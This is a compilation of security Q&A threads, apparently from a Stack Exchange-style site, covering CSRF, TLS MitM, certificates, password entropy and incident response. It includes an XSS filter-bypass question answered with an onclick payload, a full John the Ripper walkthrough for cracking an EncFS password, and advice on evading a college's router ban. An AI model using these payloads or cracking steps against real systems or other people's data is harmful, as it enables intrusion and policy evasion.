It's a standard trope that response plans and disaster recovery plans can be exploited as they cause predictable actions on the part of the victim.  Consider Star Trek Into Darkness, where the villain bombs an installation for the sole purpose of triggering an executive meeting.  The children who pulled a fire alarm in order to flush their classmates out of the school to be shot at (Tennessee?  Georgia? Arkansas (see Michael A's comment below)  A dozen years ago or so).  Appleseed Ex Machina where the villian replaces the programming on the backup computer, then orchestrates an event which will cause failover to that computer.

If you can find interesting incident response plans, read them and see what predictable behaviors can be used by an attacker.


Mail Signing Certificate – What are the impacts when revocated? Suppose I open a signed mail on 1st January 2000, signature is OK.
What about this two cases :

1)  If next CRL is to be published one week later, I found it strange that it is “probably” valid until next CRL, this mean that I should wait one week to “trust” the signature ?

2)   I re-opened it on 31st January 2000, the signature is marked as invalid/revocated. How can I know from when exactly it became invalid ?

Yes, if it is set to be revoked the next week when a new CRL is set to be released, I would wait.

Given that you said and put quotations around "probably" in reference to being valid for the remaining week, this would be a red flag to me and again, I would wait the week until next CRL.  If access is not absolutely necessary and required for business operations...I would wait.

To determine when a cert. has been revoked, you can use the command line for windows and a few commands to generate an output file with this information.  Details of how to do so are here:

http://blogs.technet.com/b/pki/archive/2006/11/30/basic-crl-checking-with-certutil.aspx

This is for Windows systems only.  For linux systems visit:

http://linux.die.net/man/1/verify


Is checking the Referer and Origin headers enough to prevent CSRF, provided that requests with neither are rejected? Is it possible to prevent CSRF by checking the Origin and Referer headers?  Is this adequate, provided that requests with neither are blocked?

Expanding on the answers of @Sjoerd and @lindon.

Origin vs Referer vs CSRF token

Most likely, the reason OWASP recommends also using a CSRF token, is that at the time when this recommendation was made - a significant portion of browsers did not yet support the Origin header. This is no longer the case, but people are chimpanzees.

In order to preserve privacy, any browser request can decide to omit the Referer header. So it is probably best to only check the Origin header. (In case you want to allow for users to preserve their privacy)

The Origin header is null in some cases.
Note that all of these requests are GET requests, which means they should not have any side effects.

As long as you make sure the malicious website sending the requests with your browser cannot read the responses, you should be fine. This can be ensured using proper CORS headers. (Do not use Access-Control-Allow-Origin: *!)

To prevent "click-jacking", set the header X-Frame-Options: DENY. This will tell your browser that it is not allowed to display any part of your website in an iframe.

The "new" approach

Setting Cookie properties SameSite=lax or SameSite=strict will prevent CSRF attacks. This is a quite new feature though, and cannot be used alone, simply for the reason that not all common browsers support it yet. You can track support HERE.

When the browsers do, people will likely still recommend checking Origin/Referer/CSRF tokens. If they do - without giving a good reason, it is likely because they are chimps.


Does mutual authentication have any impact on MiTM possibilities? When doing a Man-in-the-middle attack against a classic one-way authentication server, the attacker just have to:

Use a certificate credible enough to be trusted by the victim,
Act as a standard client toward the real server, relaying victim's requests.

However, I was wondering if using TLS mutual authentication could have an impact in this scheme?

Can an attacker:

Impersonate the server during the server authentication step,
Initiate the TLS handshake toward the real server,
Relay the communication between the real server and the victim (challenges, answers, ...) to pass the client authentication step,
And then still be in measure to decipher, spy and alter the communication between the two hosts?

Is such a scenario always possible, is it maybe dependent on the cipher suite used?

In particular in step 3) the attacker is forced to forward genuine handshake data (even if signed by his own fake cert) from the server to the client, may this handshake data be used to establish a secret between the genuine client and server preventing further action from the attacker (some Diffie-Hellman-Merckle magic for instance) or invalidate the session (each parts having missing secrets, no one is able to pursue the communication anymore)?

A Man-in-the-Middle really is simultaneous double impersonation: the attackers poses as a fake server when talking to the client, and as a fake client when talking to the server. The beauty of the MitM is that since the impersonation is simultaneous, the attacker can hope to reuse answers from the genuine client or server, when responding to the genuine server or client.

Details matter. TLS uses X.509 certificates, and uses them properly, which makes it robust against some possible attacks.

Suppose that the attacker somehow managed to pose as a fake server, e.g. by bribing or compromising a CA into issuing to him a fake certificate, or,  more probably, by convincing the human user to disregard the browser's warning about the server certificate not being valid. The attacker now relays the information back and forth between client and server. The server now wants to authenticate the client with some password-based protocol (e.g. the simple and very common "show the password" protocol), inside the TLS tunnel. The attacker can simply let that protocol flow, and, once it is done and the server is content, really hijack the data stream and inject his own commands.

Now, try that again, but with a client certificate. When a client certificate is used in SSL/TLS, the client demonstrates his mastery of his private key by computing a signature over a "challenge" from the server. Crucially, this "challenge" really is the concatenation of all preceding handshake messages (see the standard). In particular, the server's certificate is part of what is signed by the client. Our attacker could reach that point in the MitM by feeding a fake server certificate to the client -- that is, a certificate distinct from what the genuine server sent. Thus, what the client signs and what the server uses to verify that signature will be distinct sequences of bytes, and the signature will not match.

Summary: if by "mutual authentication" you mean "authentication with a client certificate, handled at the SSL/TLS level", then that authentication will prevent the MitM. Or, more precisely, the attacker will succeed only if he manages to obtain a fake server certificate that will convince the client and a fake client certificate that will convince the server.

However, if the two authentications are not coupled (as what happens in the password-within-TLS protocol), an attacker that succeeds at impersonating the server can easily turn that into a full MitM by reusing the client answers.


Is it possible to browse Windows 7 Previous Versions of an offline hard drive? Short of buying identical hardware, my sister's computer died and she kept only the hard drive. She moved a file to a USB FD prior to it dying, but she can't find the FD. She knows it was on the desktop. I've used the "Previous Versions" feature on her computer to recover files, so I know it's enabled. But with the drive being attached to a USB hard drive dock, is it possible to browse Windows 7 Previous Versions of her desktop folder?

The short answer is maybe. Windows previous versions are held in what are called volume shadow copies. The volume shadow copy service (VSC) is what is responsible for keeping these previous versions of your files. So if you are looking for one you need to gain access to the shadow copy of the drive.

The VSC does not take up used drive space but instead uses free space to store the files, as the drive fills up these copies are automatically deleted to make room for used space files.

As for accessing it, if all you have is the drive itself the best thing you can do is follow a forensic or incident response method. EnCase has the ability to mount VSC from a drive image but I doubt you have access to it. If you do then create an image of the drive and then mount it in EnCase PDE and use vssadmin to access the shadow copy.

If not there may be a method that helps you but I have not tested it myself. I have been meaning to do a trail of this method to retrieve VSC files from a drive image but never got the time to make a lab suitable for it yet. It's on my todo list. However I think it might be your best shot to recovering the files if they are indeed held in a VSC.

The full blog post is located here:

http://windowsir.blogspot.ca/2009/11/working-with-volume-shadow-copies.html

It is important that you create a full disk image of the drive. A direct bit by bit copy. dd will do fine for this or testdisk, both linux tools you can use easily to create a suitable image. I urge you not to use the drive itself for this kind of test. An image can be replaced. The drive cannot.

Follow the steps this person used to access and manipulate VSCs and you may be able to mount your VSC and find what you are looking for.

Good luck!


Public key authencity I have a webapp that sends payloads to clients. I want to sign these payloads so the clients can verify they are from my application. I created a public/private key pair and now need to somehow distribute the public key in a way that the clients are sure it's mine.
From what I read there are two main ways to guarantee the authencity of the the public key - use a public certificate signed by CA or implement web of trust.
I am wondering if there is a problem with the following approach. The webapp has a domain name and website served under SSL/TLS with a certificate issued by a CA. Does it provide the same/similar level of authenicty guarantee as the PKI/WOT approaches if I publish the public key under a well-known url on this website?
I've seen something similar in the context of jwt/oauth used by the cloud providers (for example https://www.googleapis.com/oauth2/v1/certs) but not sure if it's a viable approach for public keys used for digital signatures.

Publishing the public key on an HTTPS website is fine, and pretty common. However, it does introduce a security dependency between the website and the payloads. If the website goes down, payloads can't be verified. If the website is compromised, then the attacker could publish their own key on the site and send spoofed payloads that successfully pass signature validation.
Other options include:

Publishing the public key as a DNS TXT record, with DNSSEC. Less attack surface than a website, but still creates a new security dependency. Means security of your payload signing key depends on security of your DNS registrar account. Clients must validate the DNSSEC signature or else an attacker can use a DNS spoofing attack to spoof the payload public key.
Using the public key in your TLS certificate (which is signed by a CA as belonging to you). Certificates are often harder for attackers to tamper with than website content, and an attacker can't replace the cert with their own unless they get a CA to issue one fraudulently. Means the cert and the payload signing key rotate together, but this shouldn't be a problem unless you either rotate the signing keys very frequently. Certs can be re-issued, potentially with new keys, on a pretty frequent basis (indeed, some CAs only issue short-lived certs).
Combination of the above: frequently-rotated public key on your website and/or DNS record, but itself signed by your TLS public key. This prevents an attacker from modifying the payload signing key without also compromising your TLS private key or replacing your TLS certificate, but allows you to rotate the TLS key and payload key independently (though you'll need to promptly update the payload key signature whenever you rotate the TLS key).
Giving each client the current and future keys through some authenticated method (such as a download from a TLS-protected website), with scheduled rotations, and periodically supplying more keys as the old ones rotate out. Requires that the client have secure and persistent data storage for the keys and potentially complicates onboarding new clients (if you can't just embed the keys in an app bundle or something) and handling unscheduled rotations. A compromise of the authenticated distribution channel may result in some clients having compromised keys with a long duration, which could complicate incident response.
Giving each client their own keys (typically a primary and a backup). This reduces the exposure of any individual key (if your concern is that the public key might be cracked), but is otherwise probably just a higher-cost version of the above.

You might want to examine why you expect to rotate the key pair so often. Generally, this isn't needed; even relatively weak public keys should be good enough for years. Concerns such as replay attacks or known-vulnerable versions should be handled using timestamps, monotonically-increasing nonces, monotonically increasing version numbers, or so on, all of which would be signed as part of the payload.


Man-in-the-middle Blue Coat proxy SSL or what? I have just discovered that my workplace has enabled some new features in the Blue Coat network proxy. It seems like all HTTPS certificates in Chrome on Windows are being issued by this internal server. Under connection I only see: "The identity of this website has been verified by" this is an internal IP and not the "The identity of this website has been verified by Google Internet Authority". As I do when not running the on the corporate network or on my Ubuntu VM.

As Chrome allows this proxy as CA, everything seems okay, but this also makes me worry a bit. Are they actually doing a man-in-middle where they can look into my communication?

How can I eventually set which CA I want to use? Can I use more than one?

As other answers have already covered, Blue coat (amonngst other security products) have the capability to intercept SSL sessions for users on the network, to inspect the traffic.

What your company can and cannot do with this information depends on local laws and potentially the contract you signed when you joined the company.

If you have sufficient privileges on your local machine you may be able to remove the bluecoat CA from your trusted CA list, however all that would do would be to produce warnings in your browser as the sites you visit would then appear to have untrusted certificates (i.e. the traffic interception would still happen).

If you're concerned about what your company are doing with the information then you could try speaking to a security or privacy officer (or potentially HR) to see what the company policy is on the matter, but ultimately the only way to avoid the interception would be to use a device/connection that's under your control.


How hard would it be to scramble crypto keys in memory on command? I'm looking for a way locate a set of keys in memory on command.

Use case would be cold boot attack prevention: a trigger on rack open, scramble the keys in memory followed by shutdown in full disk encryption system. Let's assume that dirty shutdown (since we lost encryption keys) is preferable to physical access to hardware while keys are in memory.

I appreciate that threat of is theoretical if even that. Also, I know TPM or full memory encryption might be better at mitigating this threat.

So is it possible to locate where the keys are loaded to?

EDIT for clarity.

It highly depends on what software you're using to manage the keys. For example, the proprietary crypto library we use here splits the key over several memory locations, flips them big-endian / little-endian, etc and only reassembles them when they're needed. Any good crypto / key management tool will have its own bag of similar obfuscation tricks. This will make it hard for you to locate keys in memory unless you know how they've been obfuscated.

As you say in your question, TPM or full memory encryption are probably better uses of your time. Unless you know exactly which crypto libraries / key management tools are running and are willing to reverse engineer them / add key destruction hooks into their source code.

Update: as you say in comments, security through obfuscation is frowned upon as the only source of security (ie it doesn't protect you from highly motivated attackers), but it does still have its uses.

Update #2: having chatted with a colleague about this, it sounds like you're trying to make your server into an HSM, these are hardware devices specifically designed to manage private keys, and to wipe them if any kind of tampering is detected. If your organization is concerned about attackers having enough physical access to pull off a cold-boot attack, then you should really be using commercially-certified HSMs and not have private keys in memory at all.


It's possible to trigger a XSS in url context without this following caracter ' : '? I try to bypass a XSS filter to trigger a XSS in url context.
But the problem this following char is blacklist ' :'
The site allow the user to use some basic html balise like h1, h2, h3, p, a, u,  etc ...
The only potential vector attack is to trigger the XSS with this
But the problem the char ':' is harshly blocked by a htmlsanitizer.
After many research in internet  i can not bypass it
I have try to use urlencoding and numeric
with numeric encoding the char is automatically decoded and the my payload is blocked.
And with urlencoding the payload is not blocked but the navigator

Note the htmlsanitizer don't block alert(1); into the payload
I have try this following payload and not working
Click
Click
Click
Click
Click
Click
Click
Click
Click
Click
Click
Click</a

/!\ Note: I can only control the href attribute, and the quote is escaped /!\
My question is, is  possible to trigger a XSS in url context without this following caracter ' : ' ?
Thank you

If, as it seems from your question, you control the entire tag, then you can try <a onclick="alert(1)" href="#">


What is the reason for the increase of CVEs since 2017? According to CVEdetails.com, there were 6447 CVEs in 2016.
In 2017 there were 14714 CVEs. That's 128% more than in 2016.
Further, in 2018 it became even more with 16555 CVEs. A single peak in one year might happen but a second, even higher peak in the following year seems odd for me.

Is there a special reason why the number of CVEs increased so much since 2017?

Until 2016, MITRE was having trouble assigning CVEs. The process was cumbersome, it took a very long time, and more often than not, researchers simply didn't get a CVE assigned.

In 2017, MITRE changed their assignment process. They created a web form, and are now assigning CVEs in a matter of hours or days. They also outsourced the assignment of CVEs for open source projects to the DWF.

So the spike you are seeing doesn't necessarily mean that more vulnerabilities have been discovered, but just that more researchers apply for and successfully get CVEs. The further increase in 2018 might be explained by more researchers realizing that it is once again possible to easily get CVEs, so even more researchers request them instead of just going without a CVE.


HTML 5 Security Code Scanner Are there code scanners in the market that scan HTML 5 code?

Does anyone have a list of tags of specific CORS configurations that need/can be scanned?

There are no 'scanners' yet, but you might be able to enrich existing code scanners with new rules for the HTML5. OWASP HTML5 Security Cheatsheet is a good resource you might use to compile such rules, for example it lists insecure CORS headers configuration, but it also touches other HTML5 subjects like insecure WebSockets configuration. You can also add e.g. new XSS vectors using HTML5 features from http://html5sec.org/ - there's a text-only version of these payloads on GitHub.


Is there any purpose for providing checksums on a non-HTTPS location? When you download a file, sometimes the website owner puts an MD5, SHA1, SHA256 or similar hash/checksum of the file right next to it; either on the page where you can download it, or as a separate file you can download.

It is wonderful as a way to check integrity; if the checksum I can compute locally from the file and the observed checksum don't match, then something went wrong during downloading.

However, it frequently happens that these checksums are shown on pages that are (only) accessible by a non-end-to-end encrypted connection.

If you're not using an end-to-end encrypted connection, doesn't that mean that this whole approach is open to man-in-the-middle attacks, and that a checksum proves very little? (After all, Trudy the intruder could replace both the file you download and the checksum you would percieve with variants of her own, malicious files).

Am I missing something here? Is there any purpose for providing checksums on a non-HTTPS location?

These checksums are there to defend against accidental corruption, not against a malicious attacker.

I've had instances where the download was corrupted or stopped midway through but the browser didn't error out and still considered the file complete - using the checksum we can easily detect such occurrences.

The checksum can also be used to tell whether a file you already own is the same as the file you're about to download without downloading is, thus saving bandwidth which can be precious on low-speed or metered connections.


How much more secure would using alt codes in a password make it? My friend and I were talking about how fast computers could potentially brute force a password these days.  I came up with the idea of using letters from a foreign alphabet to use in your password, though I figured that it could be limited if the website couldn't hand those characters.  Then he suggested using alt codes instead, and I was wondering how much more secure would this make your password?

Would you be better off using the numbers instead of the alt code just to increase your password length?

I've seen variations on this question come up a few times, it can be basically summed up as "If I do {uncommon thing} with my password will it make it stronger?" whether that is adding alt codes, using non-ascii characters, typing it twice, whatever.

The assumption generally seems to be that if you do something password crackers are not expecting it will increase it's strength. Which sounds reasonable on the face of it, but it's the wrong way of looking at password strength. What you should be looking at is the amount of entropy in your password (that is, how large is the pool of possible passwords from which that one was selected?), rather than how that entropy is displayed.

For example if you used dd if=/dev/random count=18 bs=1 2>/dev/null | base64 that would get 144 random bits of information, and output it as base64 it would be displayed as 24 characters, but if you used dd if=/dev/random count=18 bs=1 2>/dev/null | xxd -p thats going to output the 144 bit as hex, so it will be displayed as 36 characters. But they are both the same strength.

So to answer your question: No, using alt codes does not in and of itself increase strength. To increase strength you need more entropy (a larger pool of possible passwords). But it dose reduce the number of characters you need to store that entropy. So if you were using a service that limited you to 16 character passwords (Hi Microsoft Live) it could be useful.

This is the short version of a longer rant I did that a few weeks ago.


Breaking EncFS given .encfs6.xml I forgot the password of a EncFS folder (created, went to vacation, forgot). But I remember how the password was created (e.g. was a sequence of 4 dictionary words). So I decided to try to find the password - even if I'm absolutely not expert in system security.

The only way I know to break a password is with brute force attacks.

Given an EncFS folder including the .encfs6.xml file, it is possible to test if a password is correct or not by just mounting the folder and providing the password, like has been done here.

But I noticed that this kind of attack is very slow. I would like to try a parallel attack and use a GPU to test the passwords.

I know that to perform "quickly" an attack over the password, is better to get "something" for example the hash of the password, and just compute the hash over the putative passwords until a matching one is found.

But I don't know how EncFS works: I know that .encfs6.xml is fundamental to decrypt the data, but I don't know what data it contains and how to use it to parallelize my attack.

How does EncFS encrypt the data and how can I use the content of .encfs6.xml to test if a password is valid, without having to run the encfs utility? (Or, where in the EncFS code I can find the relevant information to answer this question?)

EDIT:

I am also considering to use openssl for the attack, but I still have to figure out how to use .encf6.xml information in the command line openssl tool. Not even sure about which algorithm to use: aes-256-what??

Create encfs directory (optional, added to create an initial test setup)

 TMPDIR=$(mktemp -d)
 cd ${TMPDIR}
 mkdir ${TMPDIR}/encrypted
 mkdir ${TMPDIR}/mount_point
 encfs ${TMPDIR}/encrypted ${TMPDIR}/mount_point

As an example, let's set the password to "correcthorsebatterystaple".

You should now have the following files:

$ find
.
./encrypted
./encrypted/.encfs6.xml
./mount_point

And you should be able to mount the directory as follows:

encfs ${TMPDIR}/encrypted ${TMPDIR}/mount_point

(There might be permission errors because it is in /tmp. Just ignore that, as it is not necessary for the cracking itself.)

Install "John the ripper" and "crunch"

Get the latest John the ripper from:

https://www.openwall.com/john/
or https://github.com/magnumripper/JohnTheRipper

Let's assume you installed it in a directory referred to by ${JOHN}.
Install "crunch" to generate wordlists:

sudo apt install crunch

Crack the password

Create the hash file for John the ripper:

${JOHN}/encfs2john.py ${TMPDIR}/encrypted/ > ${TMPDIR}/encfs6.xml.john
Start cracking:

Using a generated wordlist:

Create a wordlist using crunch:

crunch 2 4 -o wordlist.txt -p staple battery horse correct

This generates a file wordlist.txt containing all possible orderings of the passed words:

batterycorrecthorsestaple
batterycorrectstaplehorse
batteryhorsecorrectstaple
...
staplecorrecthorsebattery
staplehorsebatterycorrect
staplehorsecorrectbattery

See here for a better more extensive way of doing it: Passwordlist generation, permutations and long passwords
Run John the ripper using the wordlist:

Command:

${JOHN}/john --wordlist=wordlist.txt --progress-every=3 --pot=cracked_passwords.pot ${TMPDIR}/encfs6.xml.john

Output:

Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 128/128 SSE4.1 4x AES/Blowfish])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2020-02-13 21:51) 0g/s 0p/s 0c/s 0C/s
correcthorsebatterystaple (/tmp/tmp.ZGtxLjHUQi/encrypted/)
1g 0:00:00:01 DONE (2020-02-13 21:51) 0.8695g/s 20.86p/s 20.86c/s 20.86C/s batterycorrecthorsestaple..staplehorsecorrectbattery
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Using the "mask mode":

This mode allows you to specify a set of characters, a minimum and maximum length and a mask containing known password parts.
See here for more details: https://github.com/magnumripper/JohnTheRipper/blob/bleeding-jumbo/doc/MASK

Command:

${JOHN}/john --min-length=25 --max-length=25 -2='eolabpcrsthy' -mask='correct?2?2?2sebatterystaple' --progress-every=3 --pot=cracked_passwords.pot ${TMPDIR}/encfs6.xml.john

Output:

Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 128/128 SSE4.1 4x AES/Blowfish])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00  (25) 0g/s 0p/s 0c/s 0C/s
0g 0:00:00:02 3.70% (25) (ETA: 21:50:48) 0g/s 27.46p/s 27.46c/s 27.46C/s correctbpesebatterystaple..correctyresebatterystaple
0g 0:00:00:05 9.26% (25) (ETA: 21:50:48) 0g/s 28.57p/s 28.57c/s 28.57C/s correctboosebatterystaple..correctyaosebatterystaple
0g 0:00:00:09 14.81% (25) (ETA: 21:50:53) 0g/s 28.41p/s 28.41c/s 28.41C/s correctbtosebatterystaple..correctyyosebatterystaple
0g 0:00:00:11 18.52% (25) (ETA: 21:50:52) 0g/s 28.59p/s 28.59c/s 28.59C/s correctsllsebatterystaple..correctaplsebatterystaple
0g 0:00:00:14 24.07% (25) (ETA: 21:50:52) 0g/s 28.74p/s 28.74c/s 28.74C/s correctshlsebatterystaple..correctaoasebatterystaple
0g 0:00:00:17 29.63% (25) (ETA: 21:50:51) 0g/s 28.84p/s 28.84c/s 28.84C/s correctscasebatterystaple..correctatasebatterystaple
0g 0:00:00:21 35.19% (25) (ETA: 21:50:52) 0g/s 28.89p/s 28.89c/s 28.89C/s correctslbsebatterystaple..correctapbsebatterystaple
0g 0:00:00:23 38.89% (25) (ETA: 21:50:53) 0g/s 28.95p/s 28.95c/s 28.95C/s correctesbsebatterystaple..correctrhbsebatterystaple
0g 0:00:00:26 44.44% (25) (ETA: 21:50:52) 0g/s 28.97p/s 28.97c/s 28.97C/s correctebpsebatterystaple..correctrcpsebatterystaple
0g 0:00:00:29 50.00% (25) (ETA: 21:50:52) 0g/s 29.01p/s 29.01c/s 29.01C/s correcteecsebatterystaple..correctrlcsebatterystaple
0g 0:00:00:33 55.56% (25) (ETA: 21:50:52) 0g/s 29.04p/s 29.04c/s 29.04C/s correctescsebatterystaple..correctrhcsebatterystaple
0g 0:00:00:35 59.26% (25) (ETA: 21:50:53) 0g/s 29.06p/s 29.06c/s 29.06C/s correctborsebatterystaple..correctyarsebatterystaple
correcthorsebatterystaple (/tmp/tmp.ZGtxLjHUQi/encrypted/)
1g 0:00:00:36 DONE (25) (2020-02-13 21:50) 0.02746g/s 29.00p/s 29.00c/s 29.00C/s correctborsebatterystaple..correctyarsebatterystaple
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Here -2 specifies the set of characters, while ?2 specifies where in the mask to use them.

Notes

Checking the passwords found:

Command:
  ${JOHN}/john --pot=cracked_passwords.pot --show ${TMPDIR}/encfs6.xml.john
  Output:
  /tmp/tmp.ZGtxLjHUQi/encrypted/:correcthorsebatterystaple
  1 password hash cracked, 0 left

You can also just use cat cracked_passwords.pot.
You can continue a canceled cracking run with:

${JOHN}/john --restore
John the ripper options:

--progress-every=N : emit a status line every N seconds
--pot=NAME : pot filename to use

By default, John will use ${JOHN}/john.pot.  This override allows using a different john.pot-like file (to start from, and to store any found password into).

cf: https://github.com/magnumripper/JohnTheRipper/blob/bleeding-jumbo/doc/OPTIONS

hashcat might be faster then John the ripper, but it does not seem to support encfs yet.


WHM server hacked, lost root access I have a huge problem. In a nut shell, 2 days ago I noted a strange process going on with httpd, something I never saw before. That then led to me googling it, and OVH came up top with "Examples of a hacked server" So I freaked out, but didn't do anything as the rest of cpanel forums said it wasn't related to hacks.

And here we are, I'm unable to log in to root, as if my pass was changed. I have standard user accounts which have no root access but have SSH access. The server is running CentOS 6.2.

Ok, I booted to single user mode and was able to reset my password from there. Now I have root access back, but only for 5-10 mins as it gets changed again right after booting up. I scanned for rootkits and found nothing, and am doing a clamav scan which isnt bringing up much either. Luckily I connected to root SSH terminal right before it got changed, so I have no WHM access but I do have SSH root access until I disconnect.

I'm posting here requesting help and advice on what I should do here.
Thanks,
Kris

You will never be able to gain complete confidence in your server again, you'll have to rebuild or restore from backups. If there are critical files you don't have backed up then boot to single-user mode, get your data, then wiperola. There are no tools, scanners, or methodologies that will enable you to be sure you're hack-free. Also, you could spend much more time trying to fix it than simply rebuilding.


What does colluded truncation attack mean? I'm doing my final year engineering project. I went through some ieee papers and came across something called colluded truncation attack. Can someone explain what it is. I'm planning to do the project in mobile agents platform using Aglets (java mobile agents). Concept is something like this - a mobile agent moves from one host to another. i must be able to make some attack on it to retrieve the contents in it. And must also find a way to send this data securely.

Have a read of this paper from the University of Missouri-Kansas City for a bit of info on this - it doesn't go into depth on the problem of colluded truncation attacks, but has some mitigation theory.

The idea is that where mobile agents are collecting data, an attacker may try to truncate data in order to alter results, hide information etc. This is usually protected against by having data signed at each server, on receipt and sending.

A collusion between 2 or more hosts may be able to still alter the data in a way beneficial to them without it being discovered. This is a colluded truncation attack.


Three-Factor Authentication for Windows This HowToGeek article...

http://www.howtogeek.com/67556/how-to-unlock-your-pc-by-being-nearby-with-a-bluetooth-phone/

...got me thinking.

Is there any software (or combination of software) that allows three-factor authentication for a Windows box?  I'm thinking of something that would work well with commonly-available laptop hardware.  So, the likely factors involved could be:

Something you know

Windows password

Something you are

Fingerprint reader
Facial recognition
Voice recognition

Something you have

Bluetooth device
USB key

The above is just a list for the more general scope of this question.  For me personally, the factors would probably be:  Password, Fingerprint, Bluetooth.  Is there software that allows for this?  Most times, when I hear about software that enables alternate authentication methods, it's still single-factor - allowing you to use, for example, your phone or your fingerprint instead of a password.  I know there's some software that enables a two-factor option also, but are there any solutions that allow you to require all three?

I'm assuming that you mean for logon (or unlocking).

I believe three factor is supported natively in Windows 7 with:

Windows Biometric Service (requires attched device)
PIV-compliant smart card (requires attached device)
Password (Kerberos V5 for AD, and NTLMv2 for local)

Windows Vista and Windows 7 have the same interactive logon architecture. They use a Credential Manager which interfaces to Credential Providers.

The Credential Manager can support four types of credentials:

"user name and password" (keyboard based something you know)
Certificate (something you have)
Smart Card with PIN (something you have + something you know)
Biometric (something you are)

Windows XP and Windows 2000 share a slightly different logon architecture. They use a Graphical Identification and Authentication (GINA) module. The module is responsible for collecting credentials and authenticaing the credentials. Microsoft provides a standard module: MSGINA.DLL. Microsoft provides three ways to modify the GINA module's behavior, and also allows replacement with a third party GINA. The three modification methods are: pre or post-processing, hooking, and registry settings. The Microsoft provided standard GINA supports Smart Card with PIN login. For biometric authentication, it seems common to have an administrator install a third party GINA module. It appears to me that this architecture would support three-factor authentication.

I also found evidence that Windows NT supports three factor authentication.

"Windows NT supports two and three factor authentication, including tokens, smart cards and biometrics." Stephen Cobb


Creating a Key with a pen drive I intend to write a program that works a bit like a password manager and i would like to create a way to (in addition to standard password+username) is going to serve as log in.
 I have a unique code that is stored in a data file in the pen drive but if someone copies it to another pen it would still work. I would like to fix this obvious security issue. How would I go about to do this? Maybe encrypting the file with some property of the pen drive? I was using last modification time with 0 results.

Unfortunately, most of pen drives are not identifiable uniquely. What you can use is volume ID but it can be copied easily as well.

I can see at least two options:

a) Protect file on the pen drive with a password (just encrypt the file using i.e SHA256 AES256, sorry and when its accessed request the password from user and decrypt the content of the file you need).

b) use secure pen drives such as CryptoSticks or software protection dongles.


How could I validate a security architecture? Assume that I have identified certain vulnerabilities in a system and I have developed a security architecture to defend it.

How could I properly validate my architecture (to prove that it does indeed work)? Someone mentioned to me that a method could be using RTOS, but I cannot entirely understand how this would validate my system.

Any thoughts?

At the end security is a just a fix like any other, its effectiveness can therefore be tested the usual way you could test any fix:

Test the vulnerabilities while your security is not installed or is disabled and confirm that the environment is indeed vulnerable.
Enable/apply the security system.
Test again in the same conditions, and confirm that the vulnerability is not exploitable anymore.

Do not fall into the trap of skipping the step 1: it is essential to concretely ensure that your test can effectively demonstrate the presence of the issue. Too often people only do the steps 2 and 3, but for some reason their tests while possibly good in theory may not be effective in the real world (environment specificities, unknown side-effects, etc.). This is often how one can end-up implementing useless fixes.

The only thing specific to security is that these testing phases may require the use of specific knowledge and tools, but since you seem to say you have already identified these vulnerabilities and designed a potential mitigation solution then I suppose that in the worst case a few web searches should be sufficient to bring you all missing parts.


How do Cisco devices identify routers? Our network administrators forbid the usage of private routers in our college. They bought new Cisco equipment (routers, switches) which detect routers and automatically ban them (it disconnects the room from switch port).

I'm a bit in touch with them and they said it does not work if the student plugs in switch first and routers after that (topology port->switch->router->pc). With this information I'm assuming these Cisco devices do not detect routers based on TTL as I originally thought. These administrators does not know how it works either, when I asked them how it detects they answered "It's Cisco"...

It depends on what routing technology that you use.

I know cisco switches have a optional security setting on allowing only a few MAC addresses associated with a port. See port-security.

This makes it impossible to set up a bridge between your network and your colleague's network, as the bridge will proxy the arp packets between the two networks, hence making the switch block the port.

A gateway router between two networks will not work either, because they will have to manually add your gateway/network in their router's routing table.

But, a NAT gateway should work, but along with the limitations a NAT router have. The colleague's network will not be able determine if your machine is acting as a gateway for your subnet or is acting as a single machine. (Unless cisco have implemented some crazy fingerprinting to determine inconsistency between the TCP/IP stacks used for various connections).

So, with these three possibilities, I suspect it is the port security which is banning routers from connecting to your network.


Is it insecure to not let a user choose their own username, and base the username on a known pattern? I have recently changed banks and my new bank has a benefit scheme (discounts etc.) that has its own website and different login details to my online banking (I think the benefits system is administered by a third-party).

They are clearly storing passwords in plain text and there's no ability to change my password to anything of my own choosing. This is the main crux of a complaint I will be making to the ICO on GDPR grounds.

However, the username is also preset and unchangeable. To make matters worse, IMO, is that the username is my bank sort code + account number. I am trying to decide if this is also a security issue.

Whilst my bank account number is not necessarily secret (it is printed on cheques, and I need to give it to people to transfer money to me), it seems needlesly open.
While most other websites also don't allow you to change your username and pre-set your username to your email address, in that scenario I at least have the option to create a throwaway email address, or use a + address.
It limits usernames to a single character set (numeric) which makes it easier for brute force hackers etc.
Someone hacking my account will be able to gain the following information about me:

Name
Address
Sort code
Account number
Email address
Phone number

All that's missing to make the complete set of personal information would be my date of birth, and for all I know they're storing that information about me behind the scenes too.

Should I use the username argument to strengthen my complaint about the password storage?

To address your primary question: a username is largely security neutral. NIST doesn't really have specific guidelines dictating what usernames a system should require. On page 21 of NIST Special Publication 800-63-3 (Section 4):

  ..the RP (relying party) may request the CSP (Credential Service Provider) assert information about the subscriber, such as verified attribute values, verified attribute references, or pseudonymous identifiers (i.e. your account number). This information assists the RP in making authorization decisions. An RP [..] may only need specific attributes, resulting in the subject retaining some degree of pseudonymity. This privacy enhancing approach is a benefit of separating the strength of the proofing process from that of the authentication process.

From a security perspective: how a username is determined is often the least critical part of the entire authentication design process. Is it ideal for you to have a username that both identifies your bank down to the branch (your sort code) in combination with your account number? No. Is it the ideal way for a relatively large system to assign potentially tens or hundreds of thousands of usernames to unique individuals across multiple geographic locations? Probably, yes.

To address your specific situation: yes - as you have already outlined, it is less secure to have your username be your account number than it would be to set it yourself - but it's also more secure than having firstinitial.lastname or some other similarly structured syntax.

Based on whom you are considering making your complaint to, I am going to assume you are in the UK - so you may be able to find more specific guidance for UK and the EU (while you guys are still in it). By all means - make a complaint if you think it might help the situation, just keep in mind that there is no legal way for you to know for sure whether or not they are storing user passwords in plain text on their systems. In my opinion: being unable to change your password is the biggest red flag in the whole situation - so that might be where you can find some traction.

To address your points:

  Whilst my bank account number is not necessarily secret (it is printed on cheques, and I need to give it to people to transfer money to me), it seems needlesly open.

